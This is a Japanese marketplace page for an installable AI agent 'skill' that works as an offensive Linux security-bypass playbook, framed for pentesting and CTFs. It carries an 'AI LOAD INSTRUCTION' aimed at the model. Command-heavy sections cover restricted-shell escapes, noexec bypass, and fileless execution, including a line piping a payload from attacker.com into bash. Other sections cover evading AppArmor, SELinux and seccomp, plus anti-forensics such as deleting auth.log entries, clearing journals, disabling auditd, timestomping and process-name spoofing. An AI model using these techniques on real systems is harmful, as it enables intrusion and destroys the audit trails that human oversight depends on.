mcpField
L
linux-security-bypass

linux-security-bypass

github.com/yaklangセキュリティ2.6k3.6k 回インストール6 週間前に更新
リポジトリ

linux-security-bypass について

linux-security-bypassは、セキュリティテストやCTF向けのLinuxセキュリティ機構回避ガイドです。制限付きシェル、noexec、AppArmor、SELinux、seccomp、監査回避を扱い、機構別の確認方法も示します。

主な機能

  1. 01制限付きBashからの脱出
  2. 02noexecファイルシステムでの実行手法
  3. 03AppArmor・SELinuxの回避
  4. 04seccompの確認と回避
  5. 05タイムスタンプ・ログ・プロセスの偽装
  6. 06セキュリティ機構別の判断ツリー

活用シーン

  1. 01Linux制限付きシェルの隔離効果の評価
  2. 02noexecマウントの実行制限のテスト
  3. 03AppArmor・SELinux・seccomp設定の確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill linux-security-bypass

インストール後、Claude Code で/linux-security-bypassを入力して読み込まれたか確認します。

詳細

スキル:Linux セキュリティバイパス — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:Linux のセキュリティメカニズムをバイパスするためのエキスパート向けテクニックです。制限付きシェルからの脱出、noexec のバイパス、AppArmor/SELinux の回避、seccomp の迂回、監査の回避を扱います。ベースモデルでは、DDexec、memfd_create によるファイルレス実行、アーキテクチャの混同を利用した seccomp バイパスが見落とされます。

0. 関連するルーティング

詳しく調べる前に、以下の読み込みを検討してください。


1. 制限付き Bash(rbash)のバイパス

1.1 SSH ベースのバイパス
# Force a different shell via SSH
ssh user@host -t "bash --noprofile --norc"
ssh user@host -t "/bin/sh"
ssh user@host -t "bash -l"

# If ForceCommand is set in sshd_config, these may not work
# Try SFTP/SCP instead — often not restricted:
sftp user@host
# SFTP shell can sometimes execute commands
1.2 エディターを利用した脱出
# vi/vim escape
vi
:set shell=/bin/bash
:shell
# Or: :!/bin/bash

# ed escape
ed
!/bin/bash

# nano (if available)
# Ctrl+R → Ctrl+X → command execution
1.3 言語インタープリターを利用した脱出
インタープリターコマンド
Pythonpython3 -c 'import pty; pty.spawn("/bin/bash")'
Perlperl -e 'exec "/bin/bash";'
Rubyruby -e 'exec "/bin/bash"'
Lualua -e 'os.execute("/bin/bash")'
PHPphp -r 'system("/bin/bash");'
Node.jsnode -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
AWKawk 'BEGIN {system("/bin/bash")}'
1.4 環境変数を利用した手法
# Overwrite shell via BASH_CMDS
BASH_CMDS[x]=/bin/bash
x

# Use env to spawn unrestricted shell
env /bin/bash
env -i /bin/bash

# PATH manipulation (if export is allowed)
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
/bin/bash

# If only specific commands are allowed:
# Use allowed command to read files
git log --oneline --all -p    # git can read arbitrary files
git diff /dev/null /etc/shadow
1.5 その他の脱出方法
方法コマンド
expectexpect -c 'spawn /bin/bash; interact'
scriptscript -qc /bin/bash /dev/null
rlwraprlwrap /bin/bash
nmap(旧式)nmap --interactive → !bash

2. 読み取り専用/noexec ファイルシステムでの実行

2.1 DDexec — /proc/self/mem 経由で stdin から実行
# DDexec overwrites the running process memory with a new binary
# No file written to disk — completely fileless

# Usage: pipe any ELF binary through DDexec
curl -sL https://attacker.com/payload | bash ddexec.sh

# How it works:
# 1. Opens /proc/self/mem for writing
# 2. Seeks to the text segment of the current process
# 3. Overwrites it with the target ELF binary
# 4. Jumps to the new entry point
2.2 memfd_create — メモリー内のファイルディスクリプター
import ctypes, os
libc = ctypes.CDLL("libc.so.6")
fd = libc.syscall(319, b"", 0)     # SYS_MEMFD_CREATE (x86_64)
with open(f"/proc/self/fd/{fd}", "wb") as f:
    f.write(open("/path/to/binary", "rb").read())
os.execve(f"/proc/self/fd/{fd}", ["binary"], os.environ)   # Bypasses noexec
# Perl variant: syscall(319, "", 0) → write to fd → exec /proc/$$/fd/$fd
2.3 ld.so による直接実行
# Use the dynamic linker to execute from a writable mount
# Even if the binary's partition is noexec, ld.so runs from its own mount
/lib64/ld-linux-x86-64.so.2 /path/on/noexec/mount/binary

# Or from /dev/shm (usually writable + exec):
cp binary /dev/shm/binary
/dev/shm/binary
2.4 noexec 上のスクリプトインタープリター
# Scripts still execute on noexec — only ELF execution is blocked
# The interpreter (python/perl/bash) runs from an exec-allowed mount
# and reads the script as data

python3 /noexec/mount/exploit.py      # Works
perl /noexec/mount/exploit.pl         # Works
bash /noexec/mount/exploit.sh         # Works
# But ./exploit (ELF binary) → "Permission denied"
2.5 書き込み可能なマウントポイント
# Common writable + exec-capable locations:
/dev/shm        # tmpfs — almost always writable + exec
/tmp            # Sometimes noexec on hardened systems
/var/tmp        # Often writable
/run            # tmpfs — check permissions

# Check mount options:
mount | grep -E "shm|tmp"
# Look for "noexec" flag — if absent, exec is allowed

3. AppArmor のバイパス

3.1 プロファイルの列挙
# Check AppArmor status
aa-status 2>/dev/null
cat /sys/module/apparmor/parameters/enabled     # Y = enabled
cat /sys/kernel/security/apparmor/profiles      # List all profiles

# Check current process profile:
cat /proc/self/attr/current
# "unconfined" = no restriction
# "docker-default (enforce)" = Docker's default profile
3.2 悪用戦略
# Find unconfined processes (inject via ptrace if root):
ps auxZ 2>/dev/null | grep unconfined

# Complain mode = effectively no restriction (just logging):
aa-status | grep complain

AppArmor プロファイルによくある抜け穴:/proc/self/fd/* へのアクセス、抽象 Unix ソケット、インタープリター経由の実行(Python スクリプトによるバイナリー制限のバイパス)、新しく作成されたパス。


4. SELinux のバイパス

4.1 モードの確認
getenforce           # Enforcing / Permissive / Disabled
sestatus             # Detailed status
cat /etc/selinux/config   # Persistent configuration

# Check current context
id -Z
ps auxZ | head -20
4.2 Permissive ドメインの悪用
semanage permissive -l 2>/dev/null    # Domains in permissive mode
ps -eZ | grep -i permissive           # Processes — can do anything (just logged)
4.3 コンテキスト遷移とブール値
ls -Z /tmp/                           # File contexts — tmp_t has broader access
sesearch --allow -t unconfined_t 2>/dev/null | head -30   # Transition rules

# Dangerous booleans that weaken SELinux:
getsebool -a | grep -i "on$" | grep -iE "exec|write|network|connect"
# httpd_can_network_connect, allow_execmem

5. seccomp のバイパス

5.1 seccomp の状態を確認する
grep Seccomp /proc/self/status
# Seccomp: 0 = disabled, 1 = strict, 2 = filter

# Docker default seccomp profile blocks ~44 syscalls
# Check what's allowed:
./amicontained    # Shows blocked/allowed syscalls
5.2 アーキテクチャの混同(x86 と x86_64)
# Seccomp filters often only check x86_64 syscall numbers
# x86 (32-bit) syscall numbers are different!
# If the filter doesn't check the architecture:

# Compile a 32-bit binary that uses x86 syscall numbers:
# x86_64 execve = 59, x86 execve = 11
# The filter blocks syscall 59 but not 11

gcc -m32 -static -o exploit32 exploit.c
# If the seccomp filter lacks AUDIT_ARCH_X86 check → bypass
5.3 許可されたシステムコールの悪用とカーネルのバグ

創造的に悪用できる許可済みシステムコール:sendmsg/recvmsg(プロセス間で FD を渡す)、mmap/mprotect(実行可能メモリー)、process_vm_readv/writev(プロセス間メモリー)。

既知の seccomp 関連カーネルバグ:CVE-2019-2054(ptrace のバイパス)、io_uring は seccomp を完全にバイパスしました(5.12 より前)。uname -r を確認し、比較してください。


6. 監査の回避

6.1 タイムスタンプの操作
# Modify file timestamps to hide changes
touch -r /etc/hosts /modified/file          # Copy timestamp from reference
touch -t 202301010000.00 /modified/file     # Set specific timestamp

# Modify log timestamps (if writable)
# Use timestomping to match surrounding entries
6.2 ログの改ざんとプロセスの偽装
sed -i '/pattern/d' /var/log/auth.log     # Remove specific entries
echo "" > /var/log/wtmp                    # Clear login records
journalctl --rotate && journalctl --vacuum-time=1s   # Clear journal

# Process name spoofing (hide in ps output):
exec -a "[kworker/0:0]" /bin/bash          # Bash
# C/Python: prctl(PR_SET_NAME, "kworker/0:0", 0, 0, 0)

# Disable audit (if root):
auditctl -e 0 && service auditd stop

7. Linux セキュリティバイパスの判断ツリー

Security mechanism identified?
│
├── Restricted shell (rbash)?
│   ├── SSH access? → ssh -t "bash --noprofile --norc" (§1.1)
│   ├── Editor available? → vi :!/bin/bash (§1.2)
│   ├── Language interpreter? → python/perl/ruby escape (§1.3)
│   ├── env command? → env /bin/bash (§1.4)
│   └── Allowed commands with escape? → git/man/less → !bash (§1.5)
│
├── noexec filesystem?
│   ├── Script interpreters available? → bash/python/perl scripts work (§2.4)
│   ├── /dev/shm writable + exec? → copy binary there (§2.5)
│   ├── memfd_create available? → fileless execution (§2.2)
│   ├── ld.so accessible? → ld.so /path/to/binary (§2.3)
│   └── Last resort → DDexec via /proc/self/mem (§2.1)
│
├── AppArmor enforcing?
│   ├── Profile in complain mode? → no restriction, just logging (§3.3)
│   ├── Unconfined processes exist? → inject/migrate to them (§3.2)
│   ├── Profile missing path coverage? → use uncovered paths (§3.4)
│   └── Interpreter not restricted? → script-based execution
│
├── SELinux enforcing?
│   ├── Domain set to permissive? → exploit that domain (§4.2)
│   ├── Dangerous booleans enabled? → abuse allowed actions (§4.4)
│   ├── Context transition available? → execute binary with transition (§4.3)
│   └── Kernel CVE? → SELinux bypass exploit
│
├── seccomp filter active?
│   ├── Architecture check missing? → 32-bit syscall confusion (§5.2)
│   ├── Allowed syscalls exploitable? → sendmsg/mmap abuse (§5.3)
│   ├── Kernel bug? → io_uring/ptrace bypass (§5.4)
│   └── Check what's blocked → amicontained (§5.1)
│
└── Audit logging?
    ├── Writable logs? → delete/modify entries (§6.2)
    ├── Root access? → disable auditd (§6.4)
    ├── Need stealth? → process name spoofing (§6.3)
    └── File changes tracked? → timestamp manipulation (§6.1)

コメント